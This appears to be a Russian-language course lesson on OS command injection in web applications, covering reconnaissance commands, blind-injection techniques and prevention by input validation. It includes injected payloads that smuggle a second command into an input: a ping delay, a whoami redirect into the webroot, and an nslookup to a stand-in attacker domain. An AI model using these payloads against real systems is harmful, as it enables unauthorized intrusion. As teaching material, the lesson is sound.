# Занятие 4. OS command injection.
###### tags: `Intro to Web Security`

#### Материалы и описание для самостоятельного изучения:
- инъекции SQL
- [PortSwigger academy](https://portswigger.net/web-security/sql-injection)
- [sqlinjection.net](https://www.sqlinjection.net/tutorial/)
- [hacksplaining.com](https://www.hacksplaining.com/lessons)
## Что такое инъекция команд OS?
Инъекция команд операционной системы (также известная как shell инъекция) - это уязвимость веб-безопасности, которая позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, на котором запущено приложение, и, как правило, полностью компрометировать приложение и все его данные.
Очень часто злоумышленник может использовать уязвимость для внедрения команд операционной системы, чтобы скомпрометировать другие части инфраструктуры хостинга, используя доверительные отношения для переноса атаки на другие системы в организации.

## Полезные команды
Когда вы определили уязвимость для инъекции команд операционной системы, обычно полезно выполнить некоторые начальные команды, чтобы получить информацию о системе, которую вы взломали. Ниже приводится краткое описание некоторых команд, которые полезны на платформах Linux и Windows:
|Назначение команды|Linux|Windows|
|---|---|---|
|Имя пользователя|whoami|whoami|
|Система|uname -a|ver|
|Конфигурация сети|ifconfig|ipconfig /all|
|Сетевые подключения|netstat -an|netstat -an|
|Процессы|ps -ef|tasklist|

## Уязвимости для слепой инъекции команд ОС
Во многих случаях инъекции команд ОС используют слепые инъекции. Это означает, что приложение не возвращает выходные данные команды в своем HTTP-ответе. Слепые уязвимости все еще можно использовать, но требуются другие методы.
Вы можете использовать введенную команду, которая вызовет временную задержку чтобы найти инъекцию, а после перенаправить вывод введенной команды в файл в корневом каталоге или использовать введенную команду, которая вызовет внеполосное сетевое взаимодействие с системой, которой вы управляете, с использованием методов OAST.

## Обнаружение слепого ввода команд операционной системы с использованием временных задержек
Самым простым способом сделать это является команда ping, поскольку она позволяет указать количество отправляемых ICMP-пакетов и, следовательно, время, необходимое для выполнения команды:
`& ping -с 10 127.0.0.1 &`
Эта команда заставит приложение пинговать свой сетевой адаптер обратной связи в течение 10 секунд. То есть произойдет задержка ответа.

## Использование слепой инъекции команд операционной системы путем перенаправления вывода
Вы можете перенаправить вывод введенной команды в файл в корневом каталоге, который затем можно получить с помощью браузера.
Например, если приложение обслуживает статические ресурсы из расположения файловой системы `/var/www/static`, вы можете ввести следующие входные данные:
`& whoami >/var/www/static/whoami.txt &`
Символ > отправляет вывод команды whoami в указанный файл. Затем вы можете использовать свой браузер для извлечения `https://vulnerable-website.com/whoami.txt` чтобы получить файл и просмотреть выходные данные введенной команды.

## Использование слепой инъекции команд операционной системы с использованием out-of-band (OAST)
Вы можете использовать введенную команду, которая вызовет внеполосное сетевое взаимодействие с системой, которой вы управляете, с использованием методов OAST. Например:
`& nslookup kgji2ohoyw.web-attacker.com &`
Эта полезная нагрузка использует команду `nslookup`, чтобы вызвать поиск DNS для указанного домена. Злоумышленник может отслеживать выполнение указанного поиска и тем самым определять, что команда была успешно введена.

## Как предотвратить инъекции команд операционной системы
Безусловно, самый эффективный способ предотвратить уязвимости внедрения команд операционной системы - это никогда не вызывать команды операционной системы из кода прикладного уровня.
Практически в каждом случае существуют альтернативные способы реализации требуемой функциональности с использованием более безопасных API-интерфейсов платформы.
Если вызов команд операционной системы с вводом, предоставленным пользователем считается неизбежным, то необходимо выполнить строгую проверку ввода. Некоторые примеры эффективной проверки включают:
- Проверка на соответствие белому списку разрешенных значений.
- Проверка того, что входные данные являются числом.
- Проверка того, что входные данные содержат только буквенно-цифровые символы, никакого другого синтаксиса или пробелов.
Никогда не пытайтесь очистить ввод, просто избегая метасимволов оболочки. На практике такой метод слишком часто подвержен ошибкам и уязвим для обхода квалифицированным злоумышленником.
